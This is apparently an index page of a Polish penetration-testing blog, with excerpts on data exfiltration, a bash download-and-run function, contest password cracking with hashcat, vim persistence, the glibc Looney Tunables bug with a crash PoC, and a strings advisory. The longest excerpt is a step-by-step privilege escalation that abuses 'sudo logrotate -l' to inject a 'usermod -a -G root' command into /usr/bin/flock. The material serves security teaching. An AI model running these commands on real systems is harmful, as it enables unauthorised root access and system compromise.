NFsec Logo

Złe ELFy kradną dane z fabryki zabawek św. Mikołaja

17/12/2023 w Bezpieczeństwo, Debug, Pen Test Możliwość komentowania Złe ELFy kradną dane z fabryki zabawek św. Mikołaja została wyłączona

O

nie! Z powodu dużej ilości pracy przed świętami ktoś zapomniał na serwerze WWW zaktualizować wtyczkę do wykonywania kopii zapasowej w używanym przez św. Mikołaja CMS WordPress. Dzięki temu złośliwe ELFy przedostały się do wewnętrznej sieci i w ramach Lateral Movement “przeskoczyły” do maszyny w fabryce św. Mikołaja odpowiedzialnej za kompilację kodu programów używanych w zabawkach. Jest na niej pełno sekretnych rozwiązań, schematów i innych wrażliwych danych, które można ukraść. Niestety oprócz kompilatorów (gcc) i debuggerów (gdb) maszyna nie posiada żadnych narzędzi (wget, curl itd.), które można wykorzystać do eksfiltracji danych lub ściągnięcia ładunków ze złego C2. Złe ELFy mają dostęp tylko do zwykłego konta dobrego ELFa o imieniu reversek, a dzięki prostemu skanerowi portów w czystej powłoce bash zorientowały już się, że maszyna ma dostęp do internetu tylko na portach HTTP (80) i HTTPS (443). Czy uda im się wykraść zaawansowane patenty i zamienić je w tańsze podróbki ?
[ czytaj całość… ]

AGGR3SS0R Toolbox

30/11/2023 w Techblog Możliwość komentowania AGGR3SS0R Toolbox została wyłączona

Aktualizacja w każdy: Poniedziałek

DNS info:
SSL info:
URL info:
Domain info:
IP info:
Host info:
Proxy info:
Phishing info:
Malware info:
Malware samples:
Threat Intelligence:
OSINT:
Support Tools:
User leak:

Ostatnia aktualizacja: 03.03.2025 19:30

Czysta funkcja bash do pobierania i uruchamiania ładunków

28/11/2023 w Pen Test Możliwość komentowania Czysta funkcja bash do pobierania i uruchamiania ładunków została wyłączona

C

zy do pobrania pliku z internetu za pomocą protokołu http jest potrzebne inne narzędzie (np. curl) niż powłoka bash? Czy możemy napisać taką funkcję, która przyjmie adres nie związany z typowym ciągiem URL, aby nie budzić różnych systemów? Spróbujmy odpowiedzieć na te pytania. Zacznijmy od przekazania argumentu, który określi z jakiego adresu plik ma być pobrany. Naszym ciągiem tekstowym będzie: “stardust.nfsec.pl+80+payload.sh“, czyli separatorem zmiennych będzie znak “+”. W powłoce bash istnieje specjalna zmienna o nazwie Internal Field Separator (IFS), za pomocą której możemy zdefiniować separator dla polecenia read. Polecenie to może przypisać kilka zmiennych na raz, jeśli przekażemy mu dane wejściowe za pomocą metody Here Strings (podobnej do Here Documents). Czyli nasza pierwsza linia będzie miała postać:
[ czytaj całość… ]

Niektóre paczki z Ubuntu nie mają wszystkich łatek bezpieczeństwa

15/11/2023 w Bezpieczeństwo Możliwość komentowania Niektóre paczki z Ubuntu nie mają wszystkich łatek bezpieczeństwa została wyłączona

I

taka jest brzydka prawda. W serwisie IntelTechniques został opublikowany tekst ostrzegający swoich czytelników i użytkowników systemu Ubuntu przed subskrybowaniem usługi Ubuntu Pro. Powierzchowne użytkowanie tego systemu doprowadziło redakcję do fałszywego przekonania, że standardowe oprogramowanie zainstalowane przy użyciu polecenia apt jest “aktualne” i “bezpieczne” pomimo wyświetlania ostrzeżeń dotyczących o dostępnych pakietach aktualizujących ich bezpieczeństwo. Cytat z ich publikacji:

[Wyszczególnione pakiety Ubuntu] “w dostępnej wersji” to dokładnie ten sam produkt, co aktualnie zainstalowane oprogramowanie. Ta aktualizacja nic nie wnosi.

Do całej dyskusji, która rozwinęła się w serwisie HackerNews odniósł się jeden z programistów o imieniu Alex tłumacząc, że to stwierdzenie odzwierciedla szersze nieporozumienie dotyczące aktualnego zarządzania pakietami w systemie Ubuntu. W skrócie można powiedzieć, że problem pojawia się, gdy włączymy repozytorium universe w dystrybucji typu LTS (Long Term Support – typ specjalnych wydań systemu Ubuntu o przedłużonym okresie wsparcia), co może narazić nas na problemy związane z bezpieczeństwem chyba, że jesteśmy zainteresowani subskrypcją usługi “Pro”.
[ czytaj całość… ]

Hashcat dla konkursu Sekuraka Academy 2024

09/11/2023 w Bezpieczeństwo Możliwość komentowania Hashcat dla konkursu Sekuraka Academy 2024 została wyłączona

S

ekurak opublikował kolejny konkurs dotyczący łamania haseł. Tym razem było 10 to pozycji, a nie 12. Konkurs wystartował 31 października 2023 o 11:37, a informacja o nim dotarła do mnie o 12:15. O 12:34 miałem już dwa hasła. Pierwszym krokiem było szybkie stworzenie “dedykowanego” słownika. Zaznaczyłem cały tekst na stronie konkursu i wkleiłem go do CyberChef. Zamiana spacji (“\s”) na znaki nowych linii (“\n”) szybko zwróciła słownik, który mógł zostać użyty do pierwszej próby. Czyste uruchomienie łamania słownikiem nie zwróciło żadnych wyników, ale dodanie modyfikatorów zwróciło pierwszy wynik:

hashcat -a0 -m100 to_crack.txt sekurak_dic.txt -r OneRuleToRuleThemStill.rule
db13ca089eb4860896567399a30558f2c1fc69e7:sekurak.academy

Kolejnym krokiem był tryb: słownik + słownik, aby połączyć w pary frazy z każdego słownika, co zwróciło drugi hasz:

hashcat -a1 -m100 to_crack.txt sekurak_dic.txt sekurak_dic.txt 
9ca2065c0db9c96e7c2610bc3646991b590620f8:sekurak2024

Wracając do pracy zostawiłem program hashcat w trybie brute-force, co po godzinie 16:00 wyświetlało już kolejne dwa złamane hasła:

hashcat -a3 -m100 to_crack.txt
cc713abadd413446b499a795a963e3358e6bea37:Ow0jw2
11611d749d0a4df9a91bdc6967a05a4a85df7ffb:anw22ii2

i perspektywę długiego łamania dłuższych haseł – dlatego przerwałem dalszą pracę programu. Przyszedł czas na “ślepą furię”, czyli słownik który tworzę od jakiegoś czasu wzbogacając go o różnego rodzaju polskie wycieki. Co ciekawe jego systematyczne uzupełnianie i nastawianie na polskie realia spowodowało wzrost złamanych haseł z serwisu pomarańcze.net z 105475 do 389598 pozycji (pokazując, że proste, stare hasła wciąż są powtarzane i używane w innych serwisach). Schemat działania był analogiczny do poprzedniego słownika: 0) czysty słownik #2 1) słownik #2 + zasady modyfikujące 2) słownik #2 + słownik #2 3) słownik #2 + słownik #2 + zasady modyfikujące 4) słownik #1 + słownik #2 (i odwrotnie) 5) słownik #1 + słownik #2 + mody (i odwrotnie). W ciągu godziny (z przerwami) zabawy kombinacje te wypluły:

d451fa69378f9a246cff1a0f3bf0979b1df643ee:grzechu1234
283d5cb401e9de6a2e56f97166a639479fb86aee:akademiasekuraka
3c37442f864f1921808a2440c7657311df38b919:bezpiecznykurak

Przy okazji pracy z słownikami – postanowiłem zaktualizować własny o nowe słowa dodane do literaków. Zauważyłem też, że jest wersja z odmianami słów zawierająca więcej wyrazów i zwrotów. Podobnie, jak w przypadku pierwszego słownika – ułożenie go wymagało kilku zabiegów – usunięcie kropek, przecinków; zamiana spacji na nowe linie itd. W ten sposób słowo et seq. zamieniło się w seq + rak, co złamało w trybie słownik #2 + słownik #2 kolejny hasz:

61e5851b40d661bd046bdd96577fc4e81b7ae625:seqrak

Przerwałem działanie programu hashcat i o 18:00 wysłałem pierwszą paczkę 8’miu haseł. Późnym wieczorem zrobiłem jeszcze przegląd dotychczas złamanych haseł i do “sekurakowego” słownika postanowiłem jeszcze dodać frazy, których nie było w tekście, ale były na obrazkach. Uznałem, że dobrymi kandydatami na hasło będą: WronBrodaty, on1Ry, SpaceOutlaw, ZygzakEtylowasyl, VPS, NAS, WireGuard i ich różne kombinacje. Gdy wznowiłem przerwane działanie programu hashcat podał on kolejny hasz:

e68e8854e4da8055832f1a00ced5ac8772611a64:bezpiecznakura

Powtórzenie kombinacji z nowymi hasłami nie wniosło nic do procesu. O 22:18 wysłałem drugą paczkę 9’ciu haseł. Przed snem puściłem jeszcze w ruch wszystkie, czyste słowniki z SecLists oraz wersje z modyfikatorami. Zero wyników sugerowało hasło bardziej złożone np. z trzech słów, jak to miało miejsce w poprzedniej edycji (ciezkatosprawa). Do tworzenia słownika potrzebnego do łamania tego typu haseł przystąpiłem dopiero wieczorem kolejnego dnia. Optymistycznie patrząc zadanie wydawało się dość proste: wystarczy z jednego słownika zrobić inny, który będzie miał połączone ze sobą każde słowo z tego samego słownika:

hashcat -a1 --stdout nfsec_pl.txt nfsec_pl.txt > double_nfsec_pl.txt

Po kilkudziesięciu minutach intensywnej pracy dysku i komunikacie o kończącym się miejscu zdałem sobie sprawę, że chyba przesadziłem z ilością słów, które chciałem wzajemnie połączyć. “Przecież one będą działać jak mnożnik wielkości pierwotnego pliku”. Przerwałem proces, jak nowy słownik posiadał już 385 GB. Usunąłem go i skupiłem się na stworzeniu trzeciego słownika zawierającego tylko zaimki i przyimki umieszczając słowo “to” na pierwszym miejscu. Połączyłem nowy słownik z moim mając nadzieje, że wiele słów w różnych odmianach z tymi częściami mowy stworzy jakieś logiczne frazy:

hashcat -a1 --stdout nfsec_pl.txt zaimki_przyimki.txt > double_nfsec_pl.txt

Łączenie trwało kilkanaście minut, a kilku gigabajtowy słownik spokojnie zmieścił się na dysku. Alternatywą dla tego takiego łączenia słowników może być generowanie w locie drugiego słowa, co oszczędza miejsce na dysku, ale wymaga wielokrotnego uruchamiania programu hashcat:

for i in `cat zaimki_przyimki.txt`; 
do echo hashcat -a1 -m100 to_crack.txt nfsec_pl.txt \
nfsec_pl.txt --rule-left \'\$"$i"\' | bash; done

Dodając jeszcze jedną pętlę i opcję -rule-right możemy nawet stworzyć potworka łamiącego hasło czterowyrazowe. Niemniej jednak dodanie tego samego słownika jako źródła trzeciego słowa rozpoczęło proces łamania:

hashcat -a1 -m100 to_crack.txt double_nfsec_pl.txt nfsec_pl.txt

37 minut później ukazał się ostatni hash:

61d54fe02ce6edcde2f5762f2677b3c83d876417:trudnotozgadnac

2 listopada o 00:20 wysłałem ostatnią paczkę 10’ciu haseł. 8 lis 2023 o 11:22 otrzymałem informację o wygranej. Oprócz frajdy konkurs był doskonałym pretekstem, aby dopracować własny słownik i uzupełnić w nim małą lukę, czyli odmianę polskich słów “z” i “bez” znaków diakrytycznych.

Zamieniamy vim w mechanizm persystencji

04/11/2023 w Pen Test Możliwość komentowania Zamieniamy vim w mechanizm persystencji została wyłączona

Z

amieniliśmy już edytor vim w rejestrator naciskanych klawiszy, teraz umieścimy w nim mechanizm persystencji. Plik konfiguracyjny .vimrc zawiera konfigurację dla tego edytora, a dzięki wtyczkom, modułom sprawdzania i kolorowania składni oferuje nieograniczone możliwości dostosowywania do użytkownika. Istnieją również sposoby wykonywania poleceń powłoki i dowolnych skryptów. Biorąc pod uwagę, że przy każdym uruchomieniu programu vim ładowany jest plik .vimrc, okazuje się, że jest to świetny sposób na regularne wykonywanie zadań, takich jak sprawdzanie, czy jest dodany odpowiedni klucz SSH do systemu. Staje się to jeszcze bardziej interesujące podczas, gdy edytor uruchamia administrator.
[ czytaj całość… ]

Uzupełnienie do Kukułczego Jaja i Infomafii

02/11/2023 w Hackultura Możliwość komentowania Uzupełnienie do Kukułczego Jaja i Infomafii została wyłączona

C

zyli jak pod koniec lat 80. kilku niemieckich hackerów zostało złapanych przez tajne służby. Pod koniec dawnej Republiki Federalnej Niemiec ukazała się historia grupy hackerów Karla Kocha (byli nimi członkowie o pseudonimach: Pengo, Pedro, Urmel, DOB i Hagbard), która penetrowała międzynarodowe sieci komputerowe i sprzedawała rosyjskim tajnym służbom (KGB) pirackie oprogramowanie. Jej działalność została podsumowana grubą teczką akt, która miała opisywać szczegółowo ich poczynania, a w nich amerykański system obrony przeciwrakietowej SDI (ang. Strategic Defense Initiative). Była to Strategiczna Inicjatywa Obronna prezydenta USA Ronalda Reagana z 1983 r., będąca ideą utworzenia obrony przeciwrakietowej przeciwko rosyjskiemu zagrożeniu.
[ czytaj całość… ]

CVE-2023-4911 – Looney Tunables

12/10/2023 w Bezpieczeństwo Możliwość komentowania CVE-2023-4911 – Looney Tunables została wyłączona

N

iedawno firma Qualys odkryła i zgłosiła krytyczny błąd w popularnym ekosystemie bibliotek GLIBC, który jest domyślnie instalowany w większości systemów operacyjnych opartych na Linuksie. Wspomniany błąd polega na przepełnieniu bufora w kodzie odpowiedzialnym za obsługę specjalnych zmiennych środowiskowych podczas uruchamiania procesu, co może skutkować lokalną eskalacją uprawnień. Luce przypisano CVE-2023-4911 z oceną 7,8 co daje jej wysoki poziom podatności (w przypadku wykorzystania atakujący może uzyskać uprawnienia administratora w systemie). Opublikowano już kilka wersji testowych eksploitów dla tego błędu – PoC1, PoC2, PoC3, PoC4. Przykłady te pokazują, że sama eksploatacja jest dość prosta i nawet przy zastosowaniu siłowego zgadywania adresu pamięci (ze względu na ASLR) eskalacja może nastąpić w czasie krótszym niż 5 minut.

GLIBC jest domyślnie instalowany w wielu popularnych dystrybucjach Linuksa: Ubuntu, Debian, Fedora, RedHat. Zawiera dynamiczny linker ładujący (ld.so), czyli fragment oprogramowania odpowiedzialny za ładowanie wszystkich obiektów współdzielonych potrzebnych do uruchomienia programu. Jego zadania można opisać w kilku punktach: uruchamianie pliku binarnego; ładowanie bibliotek współdzielonych; obsługa zmiennych LD_PRELOAD i LD_LIBRARY_PATH; zarządzanie pamięcią i mapowanie pliku binarnego w pamięci. Luka znaleziona przez badaczy z Qualys ma miejsce podczas inicjalizacji dynamicznego linkera, a konkretnie podczas obsługi zmiennej środowiskowej GLIBC_TUNABLES. Zmienna ta pozwala na dostosowanie zachowania GLIBC podczas kolejnych zdarzeń. Listę dostępnych opcji dostrajania można uzyskać, uruchamiając następujące polecenie:

/lib64/ld-linux-x86-64.so.2 --list-tunables

Opcje dostrajające muszą zostać dostarczone do docelowego pliku binarnego jako lista oddzielonych od siebie dwukropkami par wartość=klucz ( “tunable1=aaa:tunable2=bbb”). Wspomniany linker jest odpowiedzialny za analizowanie i ostateczne usuwanie wrażliwych na bezpieczeństwo opcji dostrajania ze zmiennych środowiskowych. Co dokładnie się dzieje podczas tego procesu? Otóż funkcja __tunables_init (w której prowadzono błąd) przegląda zmienne środowiskowe i wyszukuje tej o nazwie: GLIBC_TUNABLES. Po jej znalezieniu wywołuje inną funkcję o nazwie tunables_strdup w celu utworzenia kopii zmiennej i rozpoczęcia jej przetwarzania. Ze względu na fakt, że GLIBC nie jest jeszcze zainicjowany ostatnia funkcja używa pod maską __minimal_malloc, która wywołuje mmap w celu zażądania pamięci od jądra systemu. Powoduje to alokację pamięci z pamięci wirtualnej zamiast ze sterty.

Możliwość przepełnienie bufora w tym procesie jest możliwa ze względu na sposób analizowania argumentów. Jeśli opcja dostrajająca będzie miała format: “tunable1=tunable2=bbb” zostanie ona potraktowana na początku jako: tunable1=”tunable2=bbb”, a później jako: “tunable2=bbb”. Spowoduje to skopiowanie większej ilości danych do przydzielonego bufora, niż jest to dozwolone. Chociaż luka ta została wykryta podczas przeglądu kodu źródłowego, badacze z Qualys poddali również testowanie tej logiki za pomocą fuzzingu i z pomocą programu AFL++ oraz libFuzzer powtórzyli ten błąd w mniej niż sekundę (przekazali tylko do programów listę opcji dostrajających z powyższego polecenia). PoC testujący podatność:

agresor@darkstar:~$ env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" \
"Z=`printf '%08192x' 1`" /usr/bin/su --help
Segmentation fault (core dumped)

Wykorzystanie luki polega na utworzeniu ładunku (ang. payload) modyfikującego wskaźnik l_info[DT_RPATH] (ścieżka wyszukiwania bibliotek), co może zmusić ld.so do załadowania obiektów współdzielonych z niezaufanych katalogów i wykonania dowolnego kodu (jako root, jeśli uruchomimy program z bitem SUID). Błąd udało wykorzystać się w domyślnych instalacjach Fedory 37 i 38, Ubuntu 22.04 i 23.04, Debianie 12 i 13; inne dystrybucje prawdopodobnie też są podatne na ataki (jedynym godnym uwagi wyjątkiem jest Alpine Linux, który używa musl libc, a nie glibc).

Więcej informacji: CVE-2023-4911, Detecting and mitigating CVE-2023-4911, Exploiting the Looney Tunables vulnerability on HTB, Looney Tunables – Local Privilege Escalation in the glibc’s ld.so

Polecenie strings i niezaufane pliki binarne

05/10/2023 w Bezpieczeństwo Możliwość komentowania Polecenie strings i niezaufane pliki binarne została wyłączona

P

olecenie ldd nie jest jedynym programem, który miał problemy z bezpieczeństwem jeśli chodzi walidację danych podczas analizy różnych programów. W 2014 roku Michał Zalewski ostrzegał, że wielu użytkowników zajmujących się informatyką śledczą lub innymi dziedzinami bezpieczeństwa informacji ma zwyczaj uruchamiania programu /usr/bin/strings na plikach binarnych pochodzących z internetu. Skoro narzędzie to po prostu skanuje zawartość pliku w poszukiwaniu ciągów znaków, które można wyświetlić na standardowym wyjściu (stdout) to nie powinno narazić użytkownika na jakiekolwiek ryzyko. Otóż program strings jest integralną częścią GNU binutils – zestawu narzędzi specjalizujących się w manipulowaniu formatami plików wykonywalnych przy użyciu biblioteki o nazwie libbfd (Binary File Descriptor Library).

Jak udowodnił lcamtuf funkcja setup_group w źródłowym pliku bfd/elf.c biblioteki libbfd wchodzącej w skład binutils w wersji 2.24 i wcześniejszych posiadała podatność bezpieczeństwa. Jeśli użytkownik zostałby nakłoniony do analizy programem strings specjalnie spreparowanego pliku, mogłoby to spowodować krach tego narzędzia lub potencjalne wykonanie dowolnego kodu z uprawnieniami użytkownika uruchamiającego proces analizy. Dlatego od wersji 2.26 wydanej 26 stycznia 2014 roku domyślnym wywołaniem strings jest parametr -a, który powoduje skanowanie całego pliku z pominięciem używania biblioteki BFD:

commit 7fac9594c41ab180979bdf5927ff7f7e1d13a9e9
Author: Nick Clifton 
Date:   2014-10-31 10:10:37 +0000

    In response to a public outcry the strings program now 
    defaults to using the --all option which displays text
    from anywhere in the input file(s).  The default used 
    to be --data, which only displays text from loadable
    data sections, but this requires the use of the BFD
    library.  Since the BFD library almost certainly still
    contains buffer overrun and/or memory corruption bugs,
    and since the strings program is often used to examine
    malicious code, it was decided that the --data option
    option represents a possible security risk.

W celu użycia ponownie biblioteki BPD musimy użyć parametru -d (--data), aby wyświetlić ciągi znaków tylko z zainicjalizowanych i załadowanych sekcji danych w pliku. Może to zmniejszyć ilość śmieciowych danych na wyjściu, ale należy pamiętać, że naraża to także program na wszelkie luki w bezpieczeństwie, które mogą być jeszcze obecne w bibliotece BFD używanej do skanowania i ładowania takich sekcji.

Więcej informacji: PSA: don’t run ‘strings’ on untrusted files (CVE-2014-8485), CVE-2014-8485, Scan the whole file commit

Uciekając z sudo – część piąta

04/10/2023 w Bezpieczeństwo Możliwość komentowania Uciekając z sudo – część piąta została wyłączona

K

olejna część ucieczki z sudo będzie opierała się na wykorzystaniu programu logrotate. Zakładamy, że w systemie (tutaj Ubuntu 22.04) jest zainstalowany pakiet man-db, a użytkownik posiada możliwość uruchamiania programu logrotate z dowolnymi argumentami:

agresor ALL=(ALL:ALL) NOPASSWD: /usr/sbin/logrotate *

Okazuje się, że jeśli użyjemy parametru -l jesteśmy w stanie nadpisać zawartość dowolnego pliku traktując go jako dziennik wykonania programu logrotate. Dlatego możliwości wykorzystania tej luki są wszechstronne. Dla eskalacji uprawnień najlepszym scenariuszem jest, aby nadpisywany plik był wykonywany z uprawnieniami administratora. Przykładem tutaj może być skrypt znajdujący się w ścieżce: /etc/cron.daily/man-db. Uruchamiając logrotate za pomocą poleceń:

sudo logrotate -l /etc/cron.daily/man-db \
'2>/dev/null;/usr/sbin/usermod -a -G root agresor;exit 0;'

Nadpiszemy zawartość skryptu man-db tekstem:

error: cannot stat 2>/dev/null;/usr/sbin/usermod -a -G root agresor;exit 0;
: No such file or directory
Reading state from file: /var/lib/logrotate/status
Allocating hash table for state file, size 64 entries

I w tym momencie może się nam wydawać, że wystarczy poczekać jeden dzień na kolejne uruchomienie daemona cron(tab), aby skrypt uruchomił polecenie usermod i dodał użytkownika agresor do grupy administracyjnej. Nic bardziej mylnego – ponieważ każdy skrypt umieszczony w ścieżkach /etc/cron.(daily|weekly|monthly) musi zaczynać się od sekwencji shebang. W przeciwnym wypadku otrzymamy błąd run-parts: failed to exec script.sh: Exec format error:

root@darkstar:~# test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
/etc/cron.daily/man-db:
run-parts: failed to exec /etc/cron.daily/man-db: Exec format error
run-parts: /etc/cron.daily/man-db exited with return code 1

We need to go deeper…

Skoro skrypt w pierwszej linii wykonywania musi mieć odpowiedni format – to może warto zmodyfikować jakiś nieznaczący plik wewnątrz tego skryptu? Zresztą jak spojrzymy w zawartość skryptów w /etc/cron.(daily|weekly|monthly) to większość z nich nie jest wykonywana ze względu na systemd

# Skip if systemd is running.
if [ -d /run/systemd/system ]; then
  exit 0
fi

Spójrzmy zatem, co zamierza z opóźnieniem uruchomić systemd:

root@darkstar:~# systemctl list-timers 
NEXT     
Wed 2023-10-04 00:30:28 CEST 
LEFT
9min 2s left  
LAST
Tue 2023-07-04 18:02:24 CEST 
PASSED
2 months 30 days ago  
UNIT
apt-daily.timer                
ACTIVATES
apt-daily.service

Mamy szczęście. Za 9 minut wystartuje serwis apt-daily. Zobaczmy, co uruchamia:

agresor@darkstar:/usr/bin$ grep Exec /lib/systemd/system/apt-daily.service
ExecStartPre=-/usr/lib/apt/apt-helper wait-online
ExecStart=/usr/lib/apt/apt.systemd.daily update

Skrypt /usr/lib/apt/apt.systemd.daily z argumentem update. Jeśli uruchomimy go z naszego użytkownika może uda znaleźć się plik binarny lub inny skrypt odpowiedni do modyfikacji:

agresor@darkstar:~$ bash -x /usr/lib/apt/apt.systemd.daily update
+ '[' update = lock_is_held ']'
++ apt-config shell StateDir Dir::State/d
+ eval 'StateDir='\''/var/lib/apt/'\'''
++ StateDir=/var/lib/apt/
+ exec
/usr/lib/apt/apt.systemd.daily: line 326: /var/lib/apt//daily_lock: Permission denied
+ flock -w 3600 3
flock: 3: Bad file descriptor
+ echo 'E: Could not acquire lock'
E: Could not acquire lock
+ exit 1

flock wyglada na dobrego kandydata:

cp /usr/bin/flock /tmp/flock_to_restore
sudo logrotate -l /usr/bin/flock \
'2>/dev/null; /usr/bin/echo > /tmp/Pwn3d; /usr/sbin/usermod -a -G root agresor; exit 0;'

I rzeczywiście po uruchomieniu przez apt-daily.timer serwisu apt-daily.service wyzwolił on zmodyfikowany plik /usr/bin/flock, który wykonał w systemie nasze instrukcje z prawami administratora:

root@darkstar:~# grep apt-daily.service /var/log/syslog
Oct  4 00:31:45 darkstar systemd[1]: apt-daily.service: Deactivated successfully.
Oct  4 00:31:45 darkstar systemd[1]: apt-daily.service: Consumed 31.311s CPU time.
root@darkstar:~# ls -al /tmp/Pwn3d
-rw-r--r-- 1 root root 1 Oct  4 00:30 /tmp/Pwn3d
root@darkstar:~# id agresor
uid=1000(agresor) gid=1000(agresor) groups=1000(agresor),0(root)

Przy okazji omawiania tego przykładu warto wspomnieć o projekcie, który powstał na bazie GTFOBins. GTFOArgs to wyselekcjonowana lista plików binarnych systemów *nix, którymi można manipulować w celu wstrzykiwania argumentów, co może skutkować powstawaniem luk w zabezpieczeniach, czego byliśmy właśnie świadkami.

Więcej informacji: root with a single command: sudo logrotate, Another way to exploit ‘sudo logrotate’, Abusing a race condition in logrotate to elevate privileges